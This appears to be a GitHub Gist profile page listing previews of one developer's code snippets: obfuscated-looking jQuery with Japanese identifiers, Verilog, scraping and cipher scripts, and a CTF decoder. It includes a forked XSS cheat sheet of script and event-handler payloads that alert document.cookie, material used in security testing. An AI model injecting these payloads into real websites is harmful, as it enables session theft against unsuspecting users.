Skip to content

Instantly share code, notes, and snippets.

View hakatashi's full-sized avatar
🈚
idgaf

Koki Takahashi hakatashi

🈚
idgaf
View GitHub Profile
!function(こころ,いつも){"object"==typeof module&&"object"==typeof module.exports?module.exports=こころ.document?いつも(こころ,!0):function(こころ){if(!こころ.document)throw new Error("jQuery requires a window with a document");return いつも(こころ)}:いつも(こころ)}("undefined"!=typeof window?window:this,function(こころ,いつも){function ぴょ(こころ){var いつも=こころ.length,ぴょ=ぴょんとぴょんぴょんと.type(こころ);return"function"===ぴょ||ぴょんとぴょんぴょんと.isWindow(こころ)?!1:1===こころ.nodeType&&いつも?!0:"array"===ぴょ||0===いつも||"number"==typeof いつも&&いつも>0&&いつも-1 in こころ}function ぴょん(こころ,いつも,ぴょ){if(ぴょんとぴょんぴょんと.isFunction(いつも))return ぴょんとぴょんぴょんと.grep(こころ,function(こころ,ぴょん){return!!いつも.call(こころ,ぴょん,こころ)!==ぴょ});if(いつも.nodeType)return ぴょんとぴょんぴょんと.grep(こころ,function(こころ){return こころ===いつも!==ぴょ});if("string"==typeof いつも){if(こころぴょーんぴょんと.test(いつも))return ぴょんとぴょんぴょんと.filter(いつも,こころ,ぴょ);いつも=ぴょんとぴょんぴょんと.filter(いつも,こころ)}return ぴょんとぴょんぴょんと.grep(こころ,function(こころ){return ぴょんとぴょんぴょんと.inArray(こころ,いつも)>=0!==ぴょ})}function ぴょんと(こころ,いつも){do こころ=こころ[いつも];while(こころ&&1!==こころ.nodeType);return こころ}function ぴょーん(こころ){var
!function(ココア,チノ){"object"==typeof module&&"object"==typeof module.exports?module.exports=ココア.document?チノ(ココア,!0):function(ココア){if(!ココア.document)throw new Error("jQuery requires a window with a document");return チノ(ココア)}:チノ(ココア)}("undefined"!=typeof window?window:this,function(ココア,チノ){function リゼ(ココア){var チノ=ココア.length,リゼ=ぴょんとぴょーんぴょん.type(ココア);return"function"===リゼ||ぴょんとぴょーんぴょん.isWindow(ココア)?!1:1===ココア.nodeType&&チノ?!0:"array"===リゼ||0===チノ||"number"==typeof チノ&&チノ>0&&チノ-1 in ココア}function シャロ(ココア,チノ,リゼ){if(ぴょんとぴょーんぴょん.isFunction(チノ))return ぴょんとぴょーんぴょん.grep(ココア,function(ココア,シャロ){return!!チノ.call(ココア,シャロ,ココア)!==リゼ});if(チノ.nodeType)return ぴょんとぴょーんぴょん.grep(ココア,function(ココア){return ココア===チノ!==リゼ});if("string"==typeof チノ){if(こころぴょんぴょんと.test(チノ))return ぴょんとぴょーんぴょん.filter(チノ,ココア,リゼ);チノ=ぴょんとぴょーんぴょん.filter(チノ,ココア)}return ぴょんとぴょーんぴょん.grep(ココア,function(ココア){return ぴょんとぴょーんぴょん.inArray(ココア,チノ)>=0!==リゼ})}function ティッピー(ココア,チノ){do ココア=ココア[チノ];while(ココア&&1!==ココア.nodeType);return ココア}function ラビットハウス(ココア){var チノ=ぴょぴょんとぴょんと[ココア]={
module display(row, col, red, green, blue, color, up, down, left, right, vnotactive, CLK, RST);
input [9:0] row, col;
input CLK, RST, color, up, down, left, right, vnotactive;
output red, green, blue;
reg red, green, blue;
reg [23:0] count, bang;
reg [9:0] originX, originY, slideY, randX;
reg [1:0] key_state;
reg [15:0] state;
@hakatashi
hakatashi / twitpic.js
Last active August 29, 2015 14:06
Twitpic download script. Create 'twitpic' directory and make a list of ids as 'twitpics.json' like "["/6jbgg1","/5ryufc","/5hpuoq"]". Copyleft.
var cheerio = require('cheerio');
var request = require('request');
var async = require('async');
var fs = require('fs');
var querystring = require('querystring');
var url = require('url');
var pics = JSON.parse(fs.readFileSync('twitpics.json'));
var skipped = [];
@hakatashi
hakatashi / xss.md
Last active August 29, 2015 14:07 — forked from ntddk/xss.md
  • '';!--"<XSS>=&{()}``\"
  • <script>alert(XSS);</script>
  • "><script>alert(XSS);</script>
  • <ScrIpt>alert(1);</SCript>
  • <a onmouseover="alert(document.cookie)">XSS</a>
  • <a onmouseover=alert(document.cookie)>XSS</a>
  • <<script>alert("XSS");//<</script>
  • <iframe src="javascript:alert('XSS');"></iframe>
  • <iframe src=# onmouseover="alert(document.cookie)"></iframe>
  • ``
import java.util.Arrays;
import edu.rit.util.Hex;
import edu.rit.util.Packing;
public class FEALCipher implements BlockCipher {
//Set up parameters and default values
public int R = 8;
byte deltaParam = 0;
int numOfSubKeys = (this.R + 8);
short[] subKey = new short[numOfSubKeys];
var Zip = require('node-7z');
var async = require('async');
var fs = require('fs');
var archive = new Zip();
// Polyfill String.prototype.endsWith
if (!String.prototype.endsWith) {
Object.defineProperty(String.prototype, 'endsWith', {
enumerable: false,
C:\Users\hakatashi>choco list -lo
7zip 9.22.01.20130618
7zip.commandline 9.20.0.20130618
7zip.install 9.22.01.20130618
AdobeAIR 15.0.0.249
adobereader 11.0.09.20140925
android-sdk 24.0.2
arduinoide 1.0.5.20140625
Atom 0.153.0
audacity 2.0.6
from PIL import Image
omote = Image.open('omote.png', 'r')
ura = Image.open('ura.png', 'r')
dest = Image.new('RGBA', omote.size)
(width, height) = omote.size
for x in range(width):
@hakatashi
hakatashi / hidden_decode.js
Last active August 29, 2015 14:19
Teaser CONFidence CTF 2015 - A PNG Tale
var fs = require('fs');
var hidden = fs.readFileSync('hidden.dat');
var ptr = 0;
for (var ptr = 0; ptr < hidden.length; ptr += 2401) {
process.stdout.write(hidden.readUInt8(ptr).toString());
}